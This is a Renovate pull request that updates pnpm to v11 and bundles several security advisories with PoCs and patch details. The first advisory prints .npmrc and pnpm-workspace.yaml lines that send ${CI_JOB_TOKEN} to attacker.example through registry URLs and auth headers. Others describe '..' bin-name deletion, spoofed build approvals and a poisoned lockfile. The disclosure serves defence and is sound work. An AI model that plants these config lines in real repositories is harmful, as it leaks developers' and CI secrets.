chore(deps): update pnpm to v11 [security] by renovate[bot] · Pull Request #331 · bangumi/wiki-parser

renovate · 2026-06-27T01:01:59Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
pnpm (source)	`10.34.1` → `11.5.3`

pnpm: Repository config can expand victim environment secrets into registry requests before scripts run

CVE-2026-55180 / GHSA-3qhv-2rgh-x77r

More information

Details

Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.

Advisory: CAND-PNPM-122 / GHSA-3qhv-2rgh-x77r
Advisory URL: GHSA-3qhv-2rgh-x77r
Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1
Shared patch branch: security/ghsa-batch-2026-06-09
Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22
Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec
Maintainer priority: start-here
Component: pnpm config/env replacement and registry auth
Patch area: project .npmrc env placeholders are not expanded into registry/auth destinations
Affected packages: npm:pnpm, npm:@pnpm/config.reader, rust:pacquet
CWE IDs: CWE-201, CWE-200, CWE-522
Conservative CVSS: 6.5 / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.

Expected Patched Behavior

Project .npmrc environment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header.

Files And Tests To Review

config/reader/src/loadNpmrcFiles.ts
config/reader/src/getOptionsFromRootManifest.ts
config/reader/test/index.ts
config/reader/test/getOptionsFromRootManifest.test.ts
pacquet/crates/config/src/npmrc_auth.rs
pacquet/crates/config/src/npmrc_auth/tests.rs
pacquet/crates/config/src/workspace_yaml.rs
pacquet/crates/config/src/workspace_yaml/tests.rs
.changeset/sharp-registry-env-placeholders.md

Focused Validation

Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.

./node_modules/.bin/tsgo --build config/reader/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand
./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts
cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib
git diff --check
cargo fmt --check

The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-122-patched-result.json.

CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts run

Advisory Details

Summary

pnpm and pacquet expanded ${ENV_VAR} placeholders from repository-controlled .npmrc and pnpm-workspace.yaml into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run.

Details

The vulnerable TypeScript pnpm path was:

config/reader/src/loadNpmrcFiles.ts loaded project .npmrc and substituted environment placeholders in keys and values.
config/reader/src/getOptionsFromRootManifest.ts substituted environment placeholders inside workspace registry, registries, and namedRegistries settings.
config/reader/src/index.ts merged those expanded registry/auth values into pnpmConfig.registries, pnpmConfig.authConfig, and pnpmConfig.configByUri.
resolving/npm-resolver/src/fetch.ts built metadata request URLs from the selected registry.
network/fetch/src/fetchFromRegistry.ts dispatched the request and attached matching auth headers before install lifecycle scripts could run.

The pacquet parity path was:

pacquet/crates/config/src/npmrc_auth.rs expanded project .npmrc placeholders while parsing registry URLs and auth values.
pacquet/crates/config/src/workspace_yaml.rs expanded workspace registry placeholders.
pacquet/crates/resolving-npm-resolver/src/fetch_full_metadata.rs used the configured registry URL and AuthHeaders for metadata fetches.

PoC

Repository .npmrc URL-path exfiltration:

registry=https://attacker.example/${CI_JOB_TOKEN}/

Repository .npmrc auth-header exfiltration:

registry=https://attacker.example/
//attacker.example/:_authToken=${CI_JOB_TOKEN}

Repository pnpm-workspace.yaml URL-path exfiltration:

registries:
  default: https://attacker.example/${CI_JOB_TOKEN}/
namedRegistries:
  work: https://attacker.example/${CI_JOB_TOKEN}/npm/

Exploit method:

The victim checks out the repository and runs a pnpm or pacquet dependency-management command with CI_JOB_TOKEN or another sensitive environment variable present.
Before the patch, repository config expanded the placeholder to the victim secret.
The resolver used the expanded registry or matching auth entry to construct a metadata request.
The victim sent a request such as https://attacker.example/<secret>/<package> or Authorization: Bearer <secret> to the attacker-controlled endpoint.

Validation PoC:

The PoC models the pre-patch URL and Authorization-header leaks, then verifies that patched pnpm and pacquet do not keep the secret in repository-controlled registry destinations or credential values.

Impact

A malicious repository can disclose environment secrets present in a developer or CI process to a repository-selected registry before script controls apply. This can expose npm tokens, CI job tokens, OIDC helper inputs, or other conventional environment secrets if the attacker knows or guesses their names.

Affected Products

Ecosystem: npm

Package name: pnpm, @pnpm/config.reader; pacquet Rust port

Affected versions: current main before this patch, when project .npmrc or pnpm-workspace.yaml contains environment placeholders in registry request destinations or project .npmrc contains environment placeholders in registry credential values.

Patched versions: pending release containing this patch.

Severity

Severity before patch: High

Vector string before patch: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Score before patch: 7.4

Severity after patch: None

Vector string after patch: not vulnerable after patch

Score after patch: 0.0

Rationale: exploitation is remote and low complexity once a victim runs pnpm or pacquet in the malicious repository. No attacker privileges are required, but user interaction is required. The demonstrated sink is secret disclosure through outbound registry requests, not arbitrary code execution, so confidentiality is high while integrity and availability are not directly impacted by this finding. After the patch, repository-controlled registry destinations and credential values containing env placeholders are ignored, while trusted user/global/auth.ini/CLI config still expands.

Weaknesses

CWE-201: Insertion of Sensitive Information Into Sent Data

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

CWE-522: Insufficiently Protected Credentials

Patch

The patch makes environment expansion trust-aware for registry requests:

Project .npmrc no longer expands ${...} in registry, @scope:registry, proxy URL values, URL-scoped keys such as //host/${SECRET}/:_authToken, or registry credential values such as //host/:_authToken=${SECRET} and _authToken=${SECRET}.
User .npmrc, auth.ini, CLI, global, and environment config still support env expansion for trusted registry configuration.
pnpm-workspace.yaml no longer expands ${...} in registry, registries, or namedRegistries URL values.
Trusted user-level auth values such as //registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN} still expand or lossy-drop as before, preserving setup-node and OIDC trusted-publishing behavior when the .npmrc is supplied as user config.
Pacquet mirrors the same boundary with from_project_ini() for project .npmrc and workspace registry filtering.

Changed files:

config/reader/src/loadNpmrcFiles.ts
config/reader/src/getOptionsFromRootManifest.ts
config/reader/test/index.ts
config/reader/test/getOptionsFromRootManifest.test.ts
pacquet/crates/config/src/npmrc_auth.rs
pacquet/crates/config/src/npmrc_auth/tests.rs
pacquet/crates/config/src/workspace_yaml.rs
pacquet/crates/config/src/workspace_yaml/tests.rs

Changeset:

.changeset/sharp-registry-env-placeholders.md

Pacquet parity:

Ported in the same patch. Pacquet dependency-management commands now parse project .npmrc with request-destination and credential-value env expansion disabled, and drop workspace registry values containing ${...} placeholders.

Verification

Post-patch validation:

The PoC ran:

./node_modules/.bin/tsgo --build config/reader/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand
./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts
cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib
git diff --check

Results:

PoC pre-patch model showed cand122-ci-job-token in both a request URL and a bearer auth header.
TypeScript build for config.reader: passed.
Focused root-manifest tests: 8 passed, including workspace registry and named-registry placeholder denial.
Focused config-reader integration tests: 10 passed, covering project .npmrc default registry denial, scoped registry denial, URL-scoped-key denial, project auth-value denial, trusted user .npmrc registry expansion, trusted user auth-value expansion/lossy fallback, and workspace registry denial.
cargo fmt --check: passed.
Focused pacquet tests: 6 passed, covering project .npmrc registry denial, scoped registry denial, URL-scoped-key denial, auth-value denial, trusted .npmrc registry expansion, and workspace YAML denial.
git diff --check: passed.

CVSS Reassessment

The initial scan score used a repository-code-execution vector:

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (8.8 High)

The PoC and source trace showed this finding is direct secret disclosure through registry request URLs or Authorization headers, not a code execution path. The corrected vulnerable vector is:

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Corrected vulnerable score: 7.4 High.

Final score after patch: 0.0.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm: Reserved bin name deletes PNPM_HOME during global remove

CVE-2026-55699 / GHSA-4gxm-v5v7-fqc4

More information

Details

Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.

Advisory: CAND-PNPM-085 / GHSA-4gxm-v5v7-fqc4
Advisory URL: GHSA-4gxm-v5v7-fqc4
Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1
Shared patch branch: security/ghsa-batch-2026-06-09
Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22
Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec
Maintainer priority: appendix
Component: pnpm global add/remove bin cleanup
Patch area: bin name/path segment validation
Affected packages: npm:pnpm
CWE IDs: CWE-22, CWE-73
Conservative CVSS: 6.5 / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.

Expected Patched Behavior

Reserved, dot, and path-segment bin names are rejected or ignored; global remove leaves PNPM_HOME and the sentinel file intact.

Files And Tests To Review

bins/resolver/src/index.ts
bins/resolver/test/index.ts
global/commands/test/globalRemove.test.ts
pacquet/crates/cmd-shim/src/bin_resolver.rs
pacquet/crates/cmd-shim/src/bin_resolver/tests.rs
.changeset/strange-bin-segments.md

Focused Validation

Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.

Use the private PR checks plus the patched replay coverage matrix for this candidate.

The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-085-patched-result.json.

Title

Reserved manifest bin names can make global package operations delete outside the global bin directory

Description

Summary

Manifest bin object keys such as "", ".", and ".." passed pnpm's bin-name guard. When a malicious package was installed globally, later global remove, update, or add-replacement flows could re-derive those names from the installed manifest and pass path.join(globalBinDir, binName) to removeBin. For "." this targets the global bin directory; for ".." this targets its parent.

Details

The vulnerable dataflow was:

bins/resolver/src/index.ts converted manifest bin object keys to binName and only required URL-safe text or $. Empty, dot, dot-dot, and scoped forms such as @scope/.. were not rejected after scope stripping.
global/packages/src/scanGlobalPackages.ts scanned installed global package manifests and returned manifest-derived bin.name values.
global/commands/src/globalRemove.ts, global/commands/src/globalUpdate.ts, and global add replacement logic joined those names to globalBinDir.
bins/remover/src/removeBins.ts recursively removed the resulting path.

Install-time checks did not close the gap: bin target paths were package-root checked, conflict checks looked at the same escaped path but did not reject reserved segments, and bin-link warning paths could leave the package installed for later global operations.

PoC

Run:

The script first performs a safe prepatch simulation in a temporary directory:

prepatch_reserved_bin_name=..
prepatch_delete_target=/.../cand-pnpm-085.XXXXXX/home
prepatch_deleted_global_bin_parent=true

It then validates the patched implementation:

./node_modules/.bin/tsgo --build bins/resolver/tsconfig.json
./node_modules/.bin/tsgo --build global/commands/tsconfig.json
./node_modules/.bin/eslint bins/resolver/src/index.ts bins/resolver/test/index.ts global/commands/test/globalRemove.test.ts
cd bins/resolver
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts --runInBand
cd global/commands
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/globalRemove.test.ts -t "global remove ignores reserved manifest bin names" --runInBand
cargo fmt --manifest-path pacquet/crates/cmd-shim/Cargo.toml --check
cargo test --manifest-path pacquet/crates/cmd-shim/Cargo.toml bin_resolver --lib
git diff --check -- bins/resolver global/commands/test/globalRemove.test.ts pacquet/crates/cmd-shim .changeset/strange-bin-segments.md pnpm-lock.yaml

The patched resolver no longer emits reserved bin names, and the global-remove regression proves the deletion sink receives only path.join(globalBinDir, "good").

Impact

Direct confidentiality impact was not validated for this primitive; the sink is deletion/corruption, not a read or disclosure path.

Affected Products

Ecosystem: npm

Package name: pnpm

Affected versions: versions before the patch that accept reserved manifest bin names in TypeScript global package flows.

Patched versions: pending release containing the shared bin-name hardening.

Severity

Corrected vulnerable severity: High

Corrected vulnerable vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Corrected vulnerable score: 8.1

Final post-patch score: 0.0, not vulnerable after patch.

The original scan score was 8.3 with C:H/I:H/A:L. Revalidation removes direct confidentiality impact and raises availability to high because the sink can recursively delete the global bin directory or its parent.

Weaknesses

CWE-22: Improper Limitation of a Pathname to a Restricted Directory

CWE-73: External Control of File Name or Path

Patch

bins/resolver/src/index.ts now rejects empty, dot, and dot-dot bin names after scope stripping.
bins/resolver/test/index.ts covers empty, dot, dot-dot, and scoped reserved bin keys.
global/commands/test/globalRemove.test.ts proves global remove filters reserved manifest bin names before deletion and only removes a safe good shim.
pacquet/crates/cmd-shim/src/bin_resolver.rs mirrors the same reserved-name rejection; empty names were already rejected.
pacquet/crates/cmd-shim/src/bin_resolver/tests.rs extends parity coverage.
.changeset/strange-bin-segments.md records patch releases for @pnpm/bins.resolver, pnpm, and pacquet.

Pacquet parity is appropriate at the shared bin resolver/linker boundary because pacquet dependency-management commands can resolve and link package bins, even though the TypeScript-only global remove/update/add replacement flow is the concrete destructive-delete sink.

Validation

Passed locally:

The script passed TypeScript builds, ESLint, bins/resolver Jest, global-remove sink Jest, pacquet fmt/tests, and git diff --check.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm: Manifest identity spoof satisfies allowBuilds and runs attacker lifecycle

CVE-2026-55487 / GHSA-5wx6-mg75-v57r

More information

Details

Summary

Keep build approval for opaque dependency sources byte-exact for GHSA-5wx6-mg75-v57r / CAND-PNPM-123.

Merged upstream commit bf1b731ee6 fixed the original name-only approval bypass by making build policy consume the resolved dependency identity. One collision remained: the generic peer-suffix normalizer also stripped parenthesized text from git, URL, tarball, file, and other opaque locators. Approval for one source string could therefore authorize a different attacker-controlled source whose locator normalized to the same value.

Security boundary

Registry dependency identities still normalize legitimate peer suffixes and retain patch hashes.
Git, URL, tarball, file, directory, and otherwise opaque identities must match the complete resolved locator byte for byte.
Explicit denials use the same normalization as approvals.
Ignored-build output preserves the exact opaque identity, so the key pnpm asks a user to approve is the key policy later checks.
TypeScript pnpm and pacquet implement the same distinction between registry and opaque identities.

Exploit replay

With allowBuilds approving foo@https://host/pkg.tgz, the upstream implementation also accepted foo@https://host/pkg.tgz(evil) because both passed through peer-suffix removal.
An independent review found a second Rust-only form: foo@https://host/pkg@1.0.0(good) and foo@https://host/pkg@1.0.0(evil) collided because the parser selected the final @ and misclassified the opaque URL as a registry package.
A final review found the same parser hazard in source-only locators ending in a semver-looking tail: approval for https://host/pkg@1.0.0 could collapse https://host/pkg@1.0.0(evil).
The final patch rejects all three collision forms, applies the same exactness to deny rules, accepts exact opaque keys as positive controls, and continues to accept registry packages approved without their peer suffixes.

Files changed

building/policy/src/index.ts and building/policy/test/index.ts normalize only parsed registry identities and retain exact opaque keys.
pacquet/crates/package-manager/src/build_modules.rs passes snapshot identities to policy, matches TypeScript package-separator parsing, and preserves opaque locators.
pacquet/crates/package-manager/src/build_modules/tests.rs covers exact approval and denial, all three collision forms, ignored-build output, and registry peer compatibility.
.changeset/quiet-opaque-build-identities.md records patch releases for @pnpm/building.policy and pnpm.

Commands run

$ jest building/policy/test/index.ts --runInBand
16 passed
$ cargo test -p pacquet-package-manager build_modules::tests -- --nocapture
49 passed
$ cargo fmt --all -- --check
PASS
$ git diff --check 84bb4b1a046f3a659de1c9aab1d45dcf814124ce...HEAD
PASS

Validation

The TypeScript policy suite passed all 16 tests.
The final pacquet build-policy suite passed all 49 tests.
The new Rust regression reproduced the extra-@ collision before the additive fix and passed afterward.
Exact opaque approval and denial, source-only semver-tail collision rejection, registry peer normalization, and ignored-build reporting all have paired tests.
ESLint passed on the changed TypeScript source and test files.
Rust formatting and diff checks passed; the branch is clean and consists of three focused security commits plus additive merges of upstream through 84bb4b1a046f3a659de1c9aab1d45dcf814124ce.
The focused TypeScript suite and ESLint ran directly through the installed harness. The isolated project build cannot resolve workspace packages without a local install, and the configured registry gateway returns HTTP 403 while fetching @pnpm/pacquet@0.11.2; no candidate-focused test failed.

Patches

10.34.2: pnpm/pnpm@14bceb1
11.5.3: pnpm/pnpm@bf1b731

Compatibility

Registry package approvals keep their existing form. Opaque dependencies that were approved through a normalized parenthesized variant must now use the exact key shown in pnpm's ignored-build output. This is the intended trust-boundary change; no package-resolution or artifact format changes.

CI note

GitHub intentionally does not run status checks on temporary private-fork pull requests. The complete policy suites, formatting, and diff checks above are the applicable validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability

Written by an agent (Codex, GPT-5).

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm: Project env lockfile can short-circuit package-manager resolution and execute lockfile-selected pnpm bytes

CVE-2026-55698 / GHSA-w466-c33r-3gjp

More information

Details

Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.

Advisory: CAND-PNPM-063 / GHSA-w466-c33r-3gjp
Advisory URL: GHSA-w466-c33r-3gjp
Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1
Shared patch branch: security/ghsa-batch-2026-06-09
Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22
Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec
Maintainer priority: start-here
Component: pnpm packageManager env lockfile
Patch area: package-manager env lockfile is re-resolved through trusted registries before execution
Affected packages: npm:pnpm, npm:@pnpm/installing.env-installer
CWE IDs: CWE-829, CWE-494, CWE-345
Conservative CVSS: 8.8 / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.

Expected Patched Behavior

Committed env-lockfile package-manager entries are force-refreshed through trusted registries before execution; attacker tarball requests and markers stay at zero.

Files And Tests To Review

installing/env-installer/src/resolvePackageManagerIntegrities.ts
pnpm/src/switchCliVersion.ts
pnpm/src/switchCliVersion.test.ts
.changeset/clean-package-manager-registries.md

Focused Validation

Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.

./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand
./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts
git diff --check

The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-063-patched-result.json.

Summary

pnpm can persist package-manager bootstrap metadata in the first YAML document of pnpm-lock.yaml. Before the patch, direct pnpm execution trusted an already resolved packageManagerDependencies entry when the committed env lockfile contained matching pnpm and @pnpm/exe versions. A malicious repository could therefore commit package-manager lockfile package records and snapshots that bypassed fresh package-manager resolution, then cause pnpm to install and execute bytes selected by that committed lockfile state during automatic version switching.

Details

The vulnerable source-to-sink path was:

lockfile/fs/src/envLockfile.ts reads the repository's first YAML lockfile document and validates shape only.
pnpm/src/main.ts reaches switchCliVersion() when a direct pnpm invocation sees a wanted pnpm package manager with onFail=download.
pnpm/src/switchCliVersion.ts reads the committed env lockfile when package-manager metadata should be persisted.
installing/env-installer/src/resolvePackageManagerIntegrities.ts treated packageManagerDependencies as resolved when only the pnpm and @pnpm/exe versions matched.
engine/pm/commands/src/self-updater/installPnpm.ts converts env-lockfile snapshots and packages into the wanted lockfile used by headlessInstall().
pnpm/src/switchCliVersion.ts executes the installed pnpm binary with spawn.sync().

The helper fast path is intentionally still version-based for non-execution callers, so the security boundary is enforced at the execution path: switchCliVersion() now re-resolves already present package-manager env-lockfile entries before they can reach installPnpmToStore() and spawn.sync().

PoC

Standalone PoC and verification script:

The PoC constructs a committed env-lockfile object with matching package-manager dependency versions and attacker-selected package metadata:

{
  "importers": {
    ".": {
      "configDependencies": {},
      "packageManagerDependencies": {
        "@&#8203;pnpm/exe": { "specifier": "9.3.0", "version": "9.3.0" },
        "pnpm": { "specifier": "9.3.0", "version": "9.3.0" }
      }
    }
  },
  "lockfileVersion": "9.0",
  "packages": {
    "/pnpm@9.3.0": {
      "resolution": {
        "integrity": "sha512-poisoned"
      }
    }
  },
  "snapshots": {
    "/pnpm@9.3.0": {}
  }
}

Pre-patch exploit model:

The victim runs pnpm directly in a malicious repository.
The requested package-manager version differs from the currently running pnpm.
pnpm enters switchCliVersion() and reads the committed env lockfile.
Matching pnpm / @pnpm/exe versions short-circuit package-manager resolution.
pnpm installs from the committed env-lockfile package records and executes the resulting pnpm binary.

Observed primitive proof from the PoC:

{
  "primitive": "unforced resolver reuses already-resolved env lockfile metadata",
  "isResolvedByVersionOnly": true,
  "reusedPoisonedIntegrity": true
}

The same script then runs the patched switchCliVersion regression. The regression seeds a poisoned committed env lockfile, has the resolver return a trusted replacement lockfile, and asserts installPnpmToStore() receives the trusted lockfile rather than the committed one. This would fail on the vulnerable control flow because the resolver was not called and the committed lockfile reached the installer.

Focused validation commands:

./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand
./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts
git diff --check

Validation result:

The PoC confirmed the unforced resolver still reuses a version-matching env lockfile, proving the original primitive.
Patched switchCliVersion() calls resolvePackageManagerIntegrities() with force: true when committed env-lockfile package-manager entries already satisfy the requested version.
Patched switchCliVersion() assigns the resolver return value back to envLockfile.
The installer receives the refreshed lockfile and not the poisoned committed lockfile.
TypeScript builds passed for @pnpm/installing.env-installer and pnpm.
The focused Jest regression passed: 1 passed, 1 skipped in switchCliVersion.test.ts.
ESLint passed for the affected package-manager switch files.
git diff --check passed.

Impact

A malicious repository can cause arbitrary package-manager code execution in the victim's developer or CI environment before normal command handling continues. That code executes with the victim user's privileges and can read local secrets, alter project files, mutate dependency state, or run further commands.

Affected products

Ecosystem: npm

Package name: pnpm, @pnpm/installing.env-installer

Affected versions: current main before this patch; direct pnpm execution with package-manager auto-switching and a repository-controlled env lockfile.

Patched versions: pending release containing this patch.

Severity

Severity: High

Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base score: 8.8

Rationale: the malicious source is repository-controlled package-manager lockfile state delivered through normal supply-chain channels. Exploitation is low complexity once the victim runs pnpm directly, no attacker privileges are required, and user interaction is required. Successful exploitation executes attacker-selected package-manager code in the victim user's security context, with high confidentiality, integrity, and availability impact.

Weaknesses

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

CWE-494: Download of Code Without Integrity Check

CWE-345: Insufficient Verification of Data Authenticity

Patch

The patch makes automatic package-manager switching re-resolve repository-provided bootstrap metadata before install and execution:

resolvePackageManagerIntegrities() accepts force, which bypasses the version-only fast path.
switchCliVersion() creates a store controller even when the committed env lockfile already contains satisfying package-manager dependency versions.
switchCliVersion() calls resolvePackageManagerIntegrities() with force: true for already resolved package-manager entries.
switchCliVersion() assigns the returned env lockfile back to envLockfile, so installPnpmToStore() installs from freshly resolved metadata.
The package-manager bootstrap registry hardening from CAND-PNPM-061 is reused, so the refresh happens through trusted package-manager registries rather than repository workspace registries.

Changed files:

installing/env-installer/src/resolvePackageManagerIntegrities.ts
pnpm/src/switchCliVersion.ts
pnpm/src/switchCliVersion.test.ts

Changeset:

.changeset/clean-package-manager-registries.md

Pacquet parity:

No pacquet-side patch is required for this finding because pacquet does not implement pnpm's package-manager auto-switch path or installPnpmToStore().

CVSS Reassessment

Initial CVSS remains correct for vulnerable versions: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H / 8.8 High.

Final CVSS after patch: not vulnerable after patch / 0.0. The PoC still demonstrates the underlying unforced env-lockfile reuse primitive, but the patched execution path force-refreshes package-manager metadata through trusted bootstrap registries before install or execution.

Remaining Risk

The helper resolvePackageManagerIntegrities() still has an unforced fast path that treats matching pnpm and @pnpm/exe versions as resolved. Current execution-sensitive callers either use trusted roots/registries or pass through the patched switchCliVersion() boundary, but future execution paths should use force: true before installing or executing package-manager bytes from repository-provided env-lockfile metadata.

Severity

CVSS Score: 8.8 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm: `patch-remove` could delete project-selected files outside the patches directory

CVE-2026-59194 / GHSA-72r4-9c5j-mj57

More information

Details

Summary

The patch-remove deletion-scope issue tracked as GHSA-72r4-9c5j-mj57 / CAND-PNPM-030 has been addressed in pnpm.

A crafted patch entry could resolve outside the configured patches directory and cause pnpm patch-remove to delete an arbitrary reachable file. This patch validates the configured directory and every resolved target before unlinking anything, then deletes the final directory entry without following it.

Security boundary

Traversal and absolute paths that resolve outside the configured patches directory are rejected before deletion.
